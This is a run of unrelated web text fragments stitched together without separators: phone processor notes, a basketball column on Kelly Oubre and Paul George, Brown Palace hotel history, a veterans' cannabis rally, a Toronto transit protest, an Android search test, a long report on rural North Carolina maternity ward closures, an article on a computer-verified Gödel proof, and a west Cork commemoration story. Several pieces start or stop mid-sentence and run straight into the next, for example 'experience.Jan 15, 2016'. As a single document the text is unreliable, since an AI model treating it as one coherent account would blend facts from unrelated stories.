On the Snapdragon 625, this feature is absent, however, it comes with HD noise cancellation technology so the audio in general sounds much better. This feature makes more sense in the context of the Redmi Note 4 which will will result in clearer calls.
Otherwise, both processor comes with mostly similar feature sets with support for 4K Ultra HD video recording at 30fps and playback using HEVC and AVC codecs. Both have support for Qualcomm's Quick Charge 3.0 as well as its security support.
As a result, the Redmi Note 4 that launched yesterday, even though may feel similar to the Redmi Note 3 that was Xiaomi's best-selling device of all time in India, the use of the 14nm Snapdragon 625 processor will make all the difference in the experience.Jan 15, 2016; Indianapolis, IN, USA; Indiana Pacers forward Paul George (13) dribbles the ball while Washington Wizards forward Kelly Oubre Jr. (12) defends in the second half of the game at Bankers Life Fieldhouse. The Washington Wizards beat the Indiana Pacers 118-104. Mandatory Credit: Trevor Ruszkowski-USA TODAY Sports
Washington Wizards’ Oubre Could Be The Next George
If we’re being totally honest, the night the Washington Wizards traded up four spots in the draft to nab Kelly Oubre, Jr., a freshman out of Kansas, made June feel as cold as it ever has.
Rather than stay at 19th and select either Bobby Portis (sorely needed stretch 4) or Jerian Grant (the perfect long-term backup to John Wall and a much-heralded college player), Washington sacrificed two future 2nd round picks and rolled the dice on a lottery talent who simply couldn’t put together consistently under Bill Self in Lawrence.
I was fairly upset, and probably took to Twitter, this website, and my secret diary over the next few months fuming at another draft fail by notorious draft failure Ernie Grunfeld.
Oubre was a project that would never develop, especially not on the timeline this team needed to take the next stop, I thought.
Maybe it was his shoes, or his haircut, or his carefree demeanor, or in reality a combination of all three that put me in a ‘Get off My Lawn’ mode. But I just felt like I was staring at Nick Young 2.0, right down to the probability of one day dating an Australian pop star with the potential to be exposed for wrongdoings on TMZ.
I noticed the picture Kevin Durant threw up on Instagram with him and Oubre battling during a summer camp and figured Grunfeld took one look at social media and made the selection for that reason.
If KD gives his stamp of approval, that’s good enough for Washington after all (remember that in 5 months when we’re employing Troy Weaver, Scott Brooks, Kevin Ollie, Derek Fisher, Thabo Sefalosha, Kyle Singler, and Wanda Pratt – but not Durant).
So with all that initial agitation over Oubre, it was hard for me to expect myself to come around the kid any time soon. The Washington Wizards were poised to be make a deep run in the East and he was undoubtedly going to be buried on the bench by player development extraordinaire Randy Wittman.
The former couldn’t have been further from eventual reality, but the latter was the easiest prediction of the season. Nonetheless, with all the cards stacked against my relationship with Kelly Oubre, here I am writing this article. The premise of which is, are we seeing the next Paul George?
Before you destroy this thought exercise, understand this: predicting any ceiling for Oubre is like taking a newly minted start up with two weeks’ worth of sales in front of venture capital investors and telling them you own the next Facebook. It’s a shot in the dark but one that’s hopefully done with the slightest of forecasting ability.
That being said, is it so far-fetched to assume he at least shows some similarities?
If Oubre ends up becoming a top 10-15 player in the league (George’s current position), color me surprised. But can he turn into a two-way beast capable of initiating offense on one end and locking down the best perimeter threat on the other? There’s certainly a possibility.
Both players were mid-1st round picks, capable of greater things than their respective draft positions indicated. Each faced concerns about their play and possibly their character causing a slide that could’ve created some extra motivation necessary to get that much better.
In terms of their entry into the basketball prominence, Oubre was a much higher ranked prospect coming out of high school but it was George who shot up draft boards after returning to Fresno St. for a sophomore season.
To compare their NBA profiles, I took a look at some notes from each player’s DraftExpress scouting report.
Paul George:
“The first thing that pops off the page when looking at George’s numbers is his high turnover percentage. The Fresno State product coughed the ball up on some 18.8% of his total possessions. Obviously, his ball-handling ability will be something that he needs to refine in order to reach his potential as a player.”
Kelly Oubre:
“As a shot-creator, Oubre is very much a work in progress still. His ball-handling skills are rudimentary, almost entirely confined to his stronger (left) hand, and with a fairly high dribble that slows him down off the bounce and neutralizes his excellent natural tools to a certain extent.”
Paul George:
“As a defender, George has all the tools to be very solid on this side of the ball, but hasn’t fully put it all together just yet. He comes out of his stance too often and is unaware at times of his opponent’s strengths – backing off of a shooter or caroling a driver, suggesting he needs to pay more attention to scouting reports. Despite that, his length, anticipatory skills and quick hands have made George one of the nation’s leaders in steals, collecting over 2 a game.”
Kelly Oubre:
“The place where he’ll be able to put those tools to use most prominently early in his NBA career should be on the defensive end, where he is far from a finished product, but shows terrific potential as a wing stopper. Oubre moves his feet exceptionally well for his size and has the length to contain pretty much any type of backcourt player. He can put terrific pressure on the ball and has excellent instincts for getting in the passing lanes.”
I certainly picked and chose quotes that strengthened my case and there was separation in that initial analysis. George came into the league as a superior athlete, whereas Oubre had the more refined jump shot and a style that favored smoothness over power.
However, it easy to see where their games align.
Both entered the league with the promise, but not always the dedication on the defensive end. Since then, George has morphed into one of the very best perimeter defenders in the league, while Oubre might already be the top option on the Wizards |
fireplace is visible in the original lobby, which was surrounded by shops, not restaurants. Photo courtesy of the Brown Palace Hotel and Spa
The exterior of the Brown Palace today. Photo courtesy of the Brown Palace Hotel and Spa
A modern guest room. Photo courtesy of the Brown Palace Hotel and Spa
Eating & Drinking
In the 1890s, fizzes, Collins, and knickerbockers were common bar orders. An early menu offered a Grand Hotel Fizz: lemon juice, powdered sugar, orange juice, maraschino cherry juice, gin, and sweet cream shaken with soda water. Rather than sorbet, “They used alcoholic punch as a palate cleanser in the middle of a seven-course meal,” Faulkner says. Speaking of food, Faulkner has spotted mock turtle soup, littleneck clams, chicken giblets, and calves head on old banquet menus. Local sourcing was also popular, with Colorado lamb, rainbow trout, and turkey all making appearances.
The Brown Palace is currently home to three public restaurants, but when it first opened, the general public could not eat at the hotel. Dining rooms, located on the eighth floor, were for overnight or special event guests only. The Restaurant at the Brown Palace (which is now Ellyngton’s) opened in 1900.
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The Atrium
“As you move away from the center [of the building], more changes have taken place,” Faulkner says. But that doesn’t mean the atrium lobby is untouched. The five cage elevators, hydraulically powered with pressure from the hotel’s artesian well (720 feet below the hotel’s foundation), were replaced with two electric ones in 1937. When the hotel opened, the first floor was dedicated entirely to shops, including a drug store and haberdashery (men’s clothing shop). A grand fireplace was situated where the entrance to the spa now sits. “If you stand in front of what’s now the entrance to Palace Arms, that’s the view you were supposed to get when you came into the hotel,” Faulkner says.
Join The Festivities
The Brown Palace is hosting three days of events—and offering some special room packages—to celebrate their 125th anniversary. You can view the full lineup here. Some highlights:
For foodies: A champagne and oyster reception is being held in the atrium lobby on Friday, August 11, from 5 to 7 p.m. Get a half-dozen oysters for $18. Or go all in with the seven-course anniversary dégustation menu, available in the Palace Arms, Thursday through Saturday ($150 per person).
A champagne and oyster reception is being held in the atrium lobby on Friday, August 11, from 5 to 7 p.m. Get a half-dozen oysters for $18. Or go all in with the seven-course anniversary dégustation menu, available in the Palace Arms, Thursday through Saturday ($150 per person). For whiskey fans: Denver distillery Stranahan’s bottled a special 125th anniversary whiskey that incorporates water from the hotel’s well. Tastings are available in the lobby on Saturday, August 12, from 5 to 7 p.m. Or drink some straight from the barrel during the after-hours speakeasy in the Brown Palace Club that evening, starting at 9 p.m. (tickets are $125 for all you can eat and drink).
Denver distillery Stranahan’s bottled a special 125th anniversary whiskey that incorporates water from the hotel’s well. Tastings are available in the lobby on Saturday, August 12, from 5 to 7 p.m. Or drink some straight from the barrel during the after-hours speakeasy in the Brown Palace Club that evening, starting at 9 p.m. (tickets are $125 for all you can eat and drink). For history buffs: Faulkner curated a temporary museum filled with items from the hotel’s archives, including original guest registers from 1892 to 1917, many of which have never been displayed publicly. View these treasures in the Larimer Square meeting room on the second floor from August 10 to 14.Please enable Javascript to watch this video
DENVER —Grow4Vets has been handing out cannabis to military veterans for about a year in Colorado.
Now, after a ruling by the Colorado Medical Board to not recognize marijuana as a treatment for post-traumatic stress disorder, High there! and Operation Grow Four Vets and Incredibles have teamed up to host an impromptu rally on their Save a Million Vets Tour.
“We started this summer in Portland,” said Todd Mitchem CEO of High There! “But with the negative ruling — in such a pot-friendly state — we decided to make a stop here before heading to Los Angeles, Nevada, Arizona, and New Mexico.
"Our goal is to make sure these everyday heroes get medication, which will actually help ease their stress and pain, while getting them off prescribed drugs, which in fact can lead them to higher stress levels and even suicide.”
The tour aims to raise $250,000 to support Grow4Vets' efforts of giving away free cannabis to veterans at the signature rallies around the nation.× 1 of 4 Expand Photos by Jose Ongpin. × 2 of 4 Expand × 3 of 4 Expand × 4 of 4 Expand Prev Next
About 100 protestors, some of them dressed as sardines, rode the subway from Queen's Park to Transportation Minister Glen Murray's Parliament Street constituency office Friday to present him with TTCriders' first annual Sardine Award.
TTCriders' Jennifer Huang said the inauspicious honour was being bestowed on the Liberal minister because of his government's "failure to regularly contribute fair funding to the TTC, even though it has the power to do so." The transit advocacy group held a photo competition recently to document the worsening overcrowding on transit.
Murray wasn't at his office to formally receive the award, so protestors, who included members of the University of Toronto Scarborough Student Union and the Ontario Chinese Seniors Association, left a platter of sardines for the absent minister.
A stink soon followed when Murray took to Twitter a few hours later to send a sardonic message in response. Murray pointed out that the Grits are funding transit more than any other previous PC or NDP government.
Well, not exactly true where Toronto is concerned. As Councillor Gord Perks weighed in to point out, the NDP government under Rae actually funded 50 per cent of the TTC's operating budget and 75 per cent of its capital costs.
The minister countered that the Grits have transferred gas taxes to the city and uploaded the costs of social services. Murray suggested the city wasn't doing enough itself to fund public transportation. He noted that council rejected revenue tools to raise money for transit. And there's the rub, to get back to the sardines analogy.
Whether the provincial government will live up to its commitment to revenue tools to raise money for transit remains an open question. A special panel set up by the Grits has recommended a number of taxes. But Premier Kathleen Wynne, in what looked like a pre-election move, recently took a whole whack of those off the table saying she's not prepared to ask middle class families to pay more.
The government and Murray will have an opportunity to put their money where their mouth is in the upcoming Liberal budget, which is expected in a few weeks. Will it follow through on its commitment or take transit users for another ride like, for example, it did by saddling Toronto with a three-stop stubway extension in Scarborough? Doh. Meanwhile, enjoy the sardine pics.
news@nowtoronto.com | @nowtorontoOverview
We've decided to do a more scientific experiment to see which android search engine is the fastest.
First, we started our experiment by measuring search speed. The three apps used here are Google Now, Aviate, and of course, WhereDat. The device that we used for testing is a 2014 Moto G.
By making a screen recording and cropping videos from the tested app's first action to the time when the final search result appeared, we measured the speed of each launcher.
Those videos are uploaded on YouTube so you can see the results for yourself, just look for the corresponding video next to each experiment.
We did 4 tests--two to show search speed, and another two to show app efficiency. In case you do not feel like reading through the following results, we created a handy infographic compiling our findings. Feel free to share. :)On a frosty January evening, Nancy Kerr felt the first twinges of contractions.
Snow was piling up outside her house in the mountains of rural Spruce Pine, North Carolina, but the contractions were mild, and she was a week shy of her due date, so she assumed it was simply false labor. Kerr called her doctor, drank a glass of water and tried to relax.
At 11:30 p.m., Kerr’s water broke and she was suddenly thrust into active labor. Her husband raced around the house, throwing everything the couple needed for the hospital into his dirty work truck, and they began the six-mile descent to the hospital on winding roads covered in 5 inches of snow.
Kerr did her best to breathe through the contractions that crashed down upon her, trying not to fixate on the two occasions they’d spun off the very same roads in similar whiteout conditions.
Because of the snowstorm, Kerr’s regular physician did not arrive at the hospital in time to help her deliver. Instead, she gave birth under the guidance of the labor-and-delivery nurses who coached her through pushing — being mindful of the fact that the baby’s heart rate was dropping — while an emergency room doctor caught the newborn. Less than an hour after they arrived at the hospital, Kerr held a healthy baby girl in her arms.
If the drive had been even a few minutes longer, she is certain, she would have delivered her daughter on the side of a snowy, low-visibility road.
And if Kerr were giving birth this winter, the trip to the hospital would be significantly longer. The Spruce Pine labor-and-delivery unit will close at the end of September, the latest in a string of maternity ward closures that leave expectant mothers in the mountains of western North Carolina without access to maternal care within reasonable distances of their homes.
“It was such a reassuring experience to be able to deliver in our local hospital, and receive great care and be able to be close to home,” she said. “I don’t know what would have happened to me or our daughter had we had to drive [elsewhere].”
Mike Belleme for HuffPost Blue Ridge Regional Hospital in Spruce Pine will no longer offer labor-and-delivery services.
Mission Health, a nonprofit hospital network headquartered in Asheville, North Carolina, has operated many longstanding small hospitals throughout Asheville’s 19-county region ― most notably in rural, low-population areas like Spruce Pine and Marion, which are north of the city, and Brevard, Franklin and Highlands to the south.
Until two years ago, each of these communities had a labor-and-delivery center nearby. But in 2015, Mission began to close them. First, it was a unit at the Transylvania Regional Hospital in Brevard, servicing nearly 33,000 residents. Then in July 2017, Mission shuttered labor and delivery at Angel Medical Center in Franklin, affecting about 40,000 people in Macon County and surrounding counties. At the end of September, Blue Ridge Regional Hospital of Spruce Pine will also lose its labor-and-delivery unit, affecting the 33,000 people in Mitchell and Yancey counties who rely on that hospital.
At that point, Mission will provide birthing services only at its locations in Asheville and Marion. That means women in rural counties will have to drive at least 20 miles to give birth and — if they want to be able to see the same providers in the delivery room they saw throughout their pregnancies — to get prenatal care.
The roads through the mountains during labor pose a major concern, even without snow. The peaks in this region are the highest in the eastern United States. Except for a few major highways, such as Interstate 40, most roads weren’t built by blasting through or tunneling under these hills. They wind around them, often with precipitous drops on one side.
Mike Belleme for HuffPost Some expectant mothers in western North Carolina will face drives of an hour or longer to reach the nearest hospital offering childbirth services.
It is an issue facing rural communities nationwide: From 2004 to 2014, 9 percent of all rural counties lost access to hospital obstetric services, and more than half of all rural counties in this country are now without a single local hospital where women can get prenatal care and deliver babies.
It is logistically challenging and expensive to staff a unit that must be ready for women day and night, and it is difficult to make enough money when there simply aren’t enough women coming in. Nationally, more than half of births are funded by Medicaid, which pays doctors back at a much lower rate than private health insurance plans. In rural areas, that percentage tends to be even higher. Malpractice insurance also plays a role. Family physicians, who often deliver babies in rural areas, face higher malpractice premiums if they offer obstetric services, while hospitals may face low-volume penalties.
“Hospitals that have the fewest births have to pay the highest premiums, because the risk level is higher when something happens less frequently,” said Katy Kozhimannil, a professor of health policy and management at the University of Minnesota, whose research focuses on the challenges in rural obstetric health care access. “This is all from conversations with folks... it’s not something we’ve looked at in research, but it is something that comes up in conversation with clinicians, and with hospitals.”
All of which means that delivering babies is a money loser for small hospitals already struggling to stay afloat.
Aside from the substantial inconvenience of significant travel to medical providers, these closures have rural residents concerned that they’ll be put in dangerous situations, including giving birth on the side of the road, at home or with lesser-qualified emergency providers.
“We cannot ignore the fact that when a health care system or a hospital decides that it’s no longer worth the risk to keep the obstetric unit open, that risk does not go away,” said Kozhimannil. “It migrates from the hospital to the homes of the people living in that community.”
The stakes for expectant mothers are high. The United States has the worst rate of maternal deaths in the developed world, and that rate is rising. Women living in rural areas tend to fare worse for reasons that aren’t yet entirely understood, though underlying health problems and limited access to high-quality prenatal care are thought to play a crucial role.
The battle to keep maternity wards open
For its part, Mission blames the cuts on low demand and financial losses at these locations. Deciding to close these labor-and-delivery services was “incredibly difficult,” Mission Health spokeswoman Rowena Buffett Timms told Carolina Public Press. But she said it stemmed from the company’s “responsibility to ensure that we have the region’s best interests in mind.”
For Mission, the decision came down to financial sustainability and the ability to continue providing other forms of care amid what Timms described as “the abject chaos in health care policy in our nation.”
Nationally, it’s not just labor and delivery that is being slashed; entire hospitals are disappearing. States in the South and those that did not choose to expand Medicaid under the Affordable Care Act have been particularly hard hit. In addition to the challenges that have long plagued rural hospitals — difficulty recruiting and retaining staff, deteriorating facilities — they have been hit by Obamacare-era cuts to a program that reimbursed hospitals for bad debt without any of the financial boost the health care overhaul offered states that expanded Medicaid.
At Angel Medical Center in Franklin, Timms said the company was unable to continue sustaining losses of up to $2 million annually on the labor-and-delivery program as it prepared to invest in a badly needed $43 million new hospital. The company estimates that not including a labor-and-delivery center in the new facility will cut $7 million in cost.
“We have shared previously that there has been no growth in newborn deliveries in the region and there is no growth forecast,” Timms said of Angel.
Timms described Spruce Pine as having the third-lowest volume of births of any facility in the state, so low that she claims it was difficult for the staff to “maintain proficiency.”
Mike Belleme for HuffPost Women in Spruce Pine must decide whether they want to drive more than an hour to Asheville or 30 minutes to Marion.
Not only were these counties more sparsely populated, but mothers “voted with their feet,” according to Timms, by traveling to Asheville to give birth. About 60 percent of Yancey County women and 40 percent in Mitchell County went to Mission’s facilities in the larger city despite drive times of close to an hour. Dr. Dorothy DeGuzman, a family physician with a specialty in high-risk obstetrics who has admitting privileges at Blue Ridge Regional Hospital in Spruce Pine says she sees that in her own patients. Some simply feel more comfortable delivering at a larger hospital with a neonatal intensive-care unit.
“There are women who drive to Asheville when they don’t have to necessarily, and there also are women who are too high-risk for us,” she said. “For example, someone who had complicated twins should go to Asheville. Someone who comes in in pre-term labor, they go to Asheville. We deliver babies at 35 weeks and up. We do transfer when it’s clinically appropriate.”
This has also factored into a decision to include a maternity unit in the plans for an upgraded Mission facility in Marion, slated to open in 2018. Timms described this consolidation as “the only responsible decision.”
And the activity of other hospitals in the region contradicts this rationale ― while national trends reflect Mission’s reasoning, other local companies are increasing their investment in maternity care. Eight small community hospitals ― in Murphy, Hendersonville, Sylva, Clyde, Morganton, Rutherfordton, Columbus and Boone ― operate labor-and-delivery services, and none has cut back on birthing services during the time Mission Health has been making cutbacks. In fact, several describe increasing demand for their maternity units and a philosophy in which labor-and-delivery services are integral to their work.
HuffPost is hitting the road this fall to interview people about their hopes, dreams, fears ― and what it means to be American today.
“The care we provide at The Baby Place at Park Ridge Health is completely in line with our mission,” according to Beth Cassidy, director of the birthing facility in Hendersonville, about 25 miles south of Asheville.
“For the community to know that they have an option to receive high-quality, compassionate care for mother and baby provides a peace of mind and confidence for each family member.”
Steve Heatherly, CEO at Harris Regional Hospital, in Sylva between Asheville and Franklin, expressed a similar sentiment, describing birthing services as “a vital need.”
DeGuzman questioned whether the company leadership comprehends Mission’s mission.
“No one makes money delivering babies,” DeGuzman said. “I, as a physician, lose money when I am delivering a baby versus me seeing patients in the office. So no one makes money off it. You do it for the community. You do it because it’s your passion.”
With fewer delivery options, pregnant women scramble
Margie Mason gave birth to her first child in Asheville, an hour from her home in Spruce Pine, and described the experience as impersonal. For example, when it was time to go home, the doctor on call forgot about her, she said, forcing her to wait 10 hours while the hospital tried to contact him.
“I was so frustrated because I felt like no one knew me personally,” Mason said. “It felt like the nurses would just forget about me during the day.”
When she was expecting her second child, friends recommended Blue Ridge, five minutes from her home on good roads.
“It was an amazing, absolutely amazing experience,” she said. “I love how small it is. The nurses were so attuned ― ‘Oh, your baby’s sleeping? We’ll come back in an hour to see if he’s awake and get all the readings we need to.’ It was incredible.”
Now 28 weeks into her third pregnancy, Mason is once again facing a delivery at a distant facility with a doctor who will be new to her.
Mike Belleme for HuffPost Margie Mason, who is pregnant with her third child, says she is sad about the maternity unit closures.
Her doctor, DeGuzman, is moving away before she will deliver because the facility where she has admitting privileges is closing. DeGuzman moved to the area six years ago with the specific aim of delivering babies and providing high-quality prenatal care in a rural setting. Mason says her doctor is so devastated by the closure of labor and delivery at Blue Ridge Hospital that she is moving to California at the end of October.
“Dorothy is the most amazing doctor that I’ve ever seen,” Mason said. “She literally just cried on me when she told me that she’s leaving, because of how passionate she is about labor and delivery.”
Mason is now working with DeGuzman to determine her best option. She will either travel to a freestanding birth center in Asheville, which is more than an hour’s drive, or to the next-closest Mission-owned hospital in Marion, 30 minutes away, to put herself in the care of whatever doctor is on call. Though both options accept her Medicaid, both have drawbacks, and Mason is stumped about what she should do.
“I think about it all the time,” she said. “All the time.”
“I’ve been sarcastically saying that I’m going to camp out in a gift shop in a hospital for a while now,” she added. “I’ve even looked at home births just because logistically I could be delivering in the car. So do I just commit to having a home birth? [Blue Ridge Hospital] is still so close, but they’ve been very clear on, ‘If you do deliver here, we’re bringing your baby to Asheville after in an ambulance.’ So that’s why I’ve leaned away from a home birth, because I don’t want to be in that situation if there’s an emergency.”
Mike Belleme for HuffPost Mason says she will miss the family feeling at the Blue Ridge hospital, which is part of what she likes about living in a small town.
Sarah Ruth Owens is a doula, trained to assist women during labor and delivery, who lives in northern Georgia, across the state line from Angel Hospital. She has heard from two clients who decided to have home births after the facility stopped offering maternity services last summer.
One is a woman Owens had talked out of a home birth in the first place, pointing to the midwifery model in place at Angel that would allow her to try for the “natural” birth she desired.
The other woman asked Owens if she would help oversee a risky “unassisted” (meaning unsupervised) delivery at home. Owens declined, explaining it was unsafe, and was able to find a midwife 2½ hours away who would attend the birth. It’s still risky, though perhaps not as bad as going it alone.
Owens said Mission’s decision to cut its facility at Angel has “put women like me in a really tough spot.”
“That’s two women in a very small community,” she said. “You’re not talking about thousands of women who deliver here; you’re talking about hundreds.”
There is not much solid national data looking at what happens to women in rural settings when local obstetric services disappear, though one study in France found it led to an increase in home birth, which is already more common in rural areas. Kozhimannil, the Minnesota professor, is at work on a study looking at the risk for women who don’t get adequate prenatal care.
“The further people have to travel, the fewer visits they tend to come to,” she said. Up to 70 percent of rural hospitals that cut labor and delivery continue to offer some form of prenatal and general gynecologic care — as Mission has in its facilities — but that does not necessarily offer much comfort to expectant mothers who do not want to see one provider for nine months only to be met by a stranger during one of the biggest moments of their lives.
“A lot of people in the community want to access prenatal services where they are going to deliver their baby.”
Women’s health experts are worried
Staff at the closed facilities have plenty to say about the mixed messages they received from Mission and their frustrations on behalf of their patients.
DeGuzman has been working in the Spruce Pine area for six years. She worries about what women will do without the local hospital as a delivery option. She also bristles at Mission’s suggestion that staff proficiency was a problem, saying the hospital was unable to provide her and her fellow providers with any evidence that their patient outcomes were in any way diminished.
Now the patients’ risk will only be greater.
“Women will be delivering in cars or at home,” she said. “Some will get hardly any prenatal care.”
DeGuzman said medical staff is working out plans with patients they already have. “We’re basing it on where they live,” she said. Some patients at Spruce Pine lived farther away, including near Burnsville in Yancey County, which has no hospital. “If they’re in Burnsville, we tell them to go to Asheville; if they’re in Spruce Pine, we tell them to go to Marion. Some are going [farther north] to Boone. We’re taking it on a case-by-case basis.”
Mike Belleme for HuffPost Parking spots are still reserved for expectant moms at Blue Ridge Hospital, but labor-and-delivery services are no longer available.
The planning has not reassured everyone. “They’re so worried,” DeGuzman said. “They’re so stressed, and you know especially the ones due ― and I have several ― that are due, like, the month after it closes.”
She is also concerned that some patients are planning home births, which she sees as very risky when they are more than an hour from a hospital that could do an emergency cesarean section.
For DeGuzman, however, this change signals an end to her work here.
“I’m leaving Oct. 27, because I didn’t want to stop delivering babies,” she said. “That’s my passion. … About three or four months into it, when it became pretty clear [Mission CEO] Ron Paulus was going to do this, I applied for a job in California.”
Roberta Bowles was the nurse manager at Angel labor-and-delivery before it closed in July. The decision took her by surprise. She has worked for the hospital off and on since 1994 and said she has no sympathy for Mission.
“It was the best-kept secret in the whole world,” Bowles said. “When they were making that decision, they did not pull in the obstetric providers. They just really snuck up on everybody.”
Mike Belleme for HuffPost Roberta Bowles has been a nurse at Angel Medical Center for more than 20 years and is devastated about the closure, both for her staff and her patients.
She was ordered to call a meeting of staff but not told why. When she persisted and finally learned the bad news, she was devastated. “I had to keep a straight face and not cry for my staff. I was totally blindsided. Totally.”
The meeting was worse. “People were stunned,” Bowles said. “People were crying, because you knew by July 14 you didn’t have a job anymore. I had hired a girl from Virginia who had been here just a year. Another nurse moved from Sylva over here; they had just bought a new house and moved in the week before, and now there’s no job for her. She’s still not employed. It was life-changing for many, if not all of us.”
Though Mission reassured her staff they could apply for jobs internally, Bowles said that it is her understanding that only one of her nurses has a job with the company, while 14 of the 26 women on her staff are still unemployed. Many are young mothers themselves and are simply unable to juggle childcare, long shifts and several-hour drives to a new job.
Bowles’ concerns aren’t just for her staff, however. They are for the mothers she runs into at Walmart or at the grocery store who ask her what they should do. Some, she fears, will have home births far away from any hospital with lay midwives. It’s a situation she saw much more of when she first moved to the area in the mid 1990s and saw many “compromised moms and babies” come to the hospital after home deliveries gone wrong.
“That scares us as providers,” she said. “It’s like, “Oh, no, here we go again.”
Other expectant mothers have told her they don’t have much of a plan beyond going to Angel’s emergency room when they go into labor, a prospect that makes Bowles uneasy. Before her last day, she led a two-hour class for the emergency room nurses and EMS staff on the basics of precipitous delivery, high-risk conditions and the signs that a birth is taking a turn for the worse. It did not make her feel any more confident about what will happen to women who show up at the emergency room in labor.
“A two-hour class does not make you an OB nurse,” she said. “I’m just scared for patients. They’re scared, too, when I talk to them.”
On Sept. 20, with the Blue Ridge labor-and-delivery unit set to close in 10 days, Dr. Brie Folkner was present when a patient arrived in severe distress. Folkner sent an email to Paulus the next day:
Hey Ron, I just witnessed Dr. Murphy perform an emergency c-section on a (patient) who came in ruptured with meconium and didn’t know she was pregnant. No prenatal care, no idea of gestational age and she had had four previous c-sections. I was called to attend the newborn as the physician on newborn call.
She called Mission’s neonatal intensive care team just before the delivery to alert them of the situation, but they did not arrive until 30 minutes after the baby was born. Then it was another hour’s wait for an ambulance to come and drive the pair to Asheville. The mother and baby survived, but Folkner is horrified about what may happen if a similar situation arises after Blue Ridge closes its doors to expectant mothers.
“What’s the plan?” she asked. “I refuse to watch people die.”
CORRECTION: An earlier version of this article indicated Cannon Memorial Hospital never had a maternity ward. Cannon Memorial’s maternity ward ceased operation in 2015, and the graphic has been corrected.As headlines go, it's certainly an eye-catching one. "Scientists Prove Existence of God," German daily Die Welt wrote last week.
But unsurprisingly, there is a rather significant caveat to that claim. In fact, what the researchers in question say they have actually proven is a theorem put forward by renowned Austrian mathematician Kurt Gödel -- and the real news isn't about a Supreme Being, but rather what can now be achieved in scientific fields using superior technology.
When Gödel died in 1978, he left behind a tantalizing theory based on principles of modal logic -- that a higher being must exist. The details of the mathematics involved in Gödel's ontological proof are complicated, but in essence the Austrian was arguing that, by definition, God is that for which no greater can be conceived. And while God exists in the understanding of the concept, we could conceive of him as greater if he existed in reality. Therefore, he must exist.
Even at the time, the argument was not exactly a new one. For centuries, many have tried to use this kind of abstract reasoning to prove the possibility or necessity of the existence of God. But the mathematical model composed by Gödel proposed a proof of the idea. Its theorems and axioms -- assumptions which cannot be proven -- can be expressed as mathematical equations. And that means they can be proven.
Proving God's Existence with a MacBook
That is where Christoph Benzmüller of Berlin's Free University and his colleague, Bruno Woltzenlogel Paleo of the Technical University in Vienna, come in. Using an ordinary MacBook computer, they have shown that Gödel's proof was correct -- at least on a mathematical level -- by way of higher modal logic. Their initial submission on the arXiv.org research article server is called "Formalization, Mechanization and Automation of Gödel's Proof of God's Existence."
The fact that formalizing such complicated theorems can be left to computers opens up all kinds of possibilities, Benzmüller told SPIEGEL ONLINE. "It's totally amazing that from this argument led by Gödel, all this stuff can be proven automatically in a few seconds or even less on a standard notebook," he said.
The name Gödel may not mean much to some, but among scientists he enjoys a reputation similar to the likes of Albert Einstein -- who was a close friend. Born in 1906 in what was then Austria-Hungary and is now the Czech city of Brno, Gödel later studied in Vienna before moving to the United States after World War II broke out to work at Princeton, where Einstein was also based. The first version of this ontological proof is from notes dated around 1941, but it was not until the early 1970s, when Gödel feared that he might die, that it first became public.
Now Benzmüller hopes that using such a headline-friendly example can help draw attention to the method. "I didn't know it would create such a huge public interest but (Gödel's ontological proof) was definitely a better example than something inaccessible in mathematics or artificial intelligence," the scientist added. "It's a very small, crisp thing, because we are just dealing with six axioms in a little theorem. There might be other things that use similar logic. Can we develop computer systems to check each single step and make sure they are now right?"
'An Ambitious Expressive Logic'
The scientists, who have been working together since the beginning of the year, believe their work could have many practical applications in areas such as artificial intelligence and the verification of software and hardware.
Benzmüller also pointed out that there are many scientists working on similar subject areas. He himself was inspired to tackle the topic by a book entitled "Types, Tableaus and Gödel's God," by Melvin Fitting.
The use of computers to reduce the burden on mathematicians is not new, even if it is not welcomed by all in the field. American mathematician Doron Zeilberger has been listing the name Shalosh B. Ekhad on his scientific papers since the 1980s. According to the New York-based Simons Foundation, the name is actually a pseudonym for the computers he uses to help prove theorems in seconds that previously required page after page of mathematical reasoning. Zeilberger says he gave the computer a human-sounding name "to make a statement that computers should get credit where credit is due." "human-centric bigotry" on the part of mathematicians, he says, has limited progress.
Ultimately, the formalization of Gödel's ontological proof is unlikely to win over many atheists, nor is it likely to comfort true believers, who might argue the idea of a higher power is one that defies logic by definition. For mathematicians looking for ways to break new ground, however, the news could represent an answer to their prayers.Protestants in west Cork “dread” commemorations of the War of Independence and the Civil War, Church of Ireland Bishop of Cork Paul Colton has said.
“Among some in our Church of Ireland community (and I’m sure they are not alone) the commemorations are anticipated fearfully and with a certain dread,” he said.
“Our recent West Cork History Festival in Skibbereen hit the news headlines. The courageous steps taken by our own Canon George Salter to tell his family’s story as he, now in his 90s, inherited it drew heated debate. Among many there is still an enduring reluctance to talk.”
Canon Salter served for many years as a Church of Ireland minister in Cork city. In the documentary An Tost Fada (The Long Silence), first broadcast on RTÉ in 2012, he disclosed how in 1922 his father, six aunts and two uncles fled Dunmanway in1922 after getting a warning following the massacre of neighbouring Protestants.
An Tost Fada was shown again on July 29th as part of the inaugural West Cork History Festival in Skibbereen.
Bishop Colton also recalled how “about 18 years ago” he visited a Methodist woman in Cork on her 100th birthday. He asked her what “time in your life sticks out in your memory?”
He said that she got upset, and told him: “The Troubled Times; they were terrible.”
Bishop Colton was speaking at a ceremony in St Mary’s Church, Dunmanway, held to honour Sam Maguire after whom whom the All-Ireland senior football championship trophy is named.
A member of the Church of Ireland and born in the townland of Mallabraca near Dunmanway in March 1877, Maguire is buried at St Mary’s.
Losing side
While in London in the late 19th and early 20th century he was heavily involved in the GAA. He returned to Ireland and was on the losing side in the Civil War.
At the age of 49, and in great poverty, he died of TB in 1927. The Sam Maguire Cup, modelled on the Ardagh Chalice, was organised by friends who, in 1928, presented it to the GAA in his honour.
Last year, following centenary celebrations of the 1916 Rising, parishioners at St Mary’s decided to commemorate him in a project involving eight bells, each with a theme which tells his story and that of Dunmanway.
Bishop Colton described the project, partly funded by the GAA, as a model from the heart of west Cork of how he hopes the coming centenary years of commemoration will be observed.
Speaking in St Mary’s over the weekend at a ceremony attended by GAA president Aogán Ó Fearghaíl and retired Catholic Bishop of Cork John Buckley, Bishop Colton said “there is an understandable reluctance to name anything in our past as sectarian or undesirable, but we are not well served by pretence either.”
His own great-grandfather came to Ireland as an English soldier, he said, and was “on the opposite side to Sam (Maguire) in events as they unfolded. After Independence, the family stayed and made this country home as Irish men and women.”
The coming centenary years called “for careful thought and even more careful and sensitive commemoration. This country has to be cautious about how it goes about commemorating events of 100 years ago. Memories are still raw,” he added.Bayley was sentenced in 2002 to 11 years in prison with a minimum of eight for a series of rapes committed between September 200 |
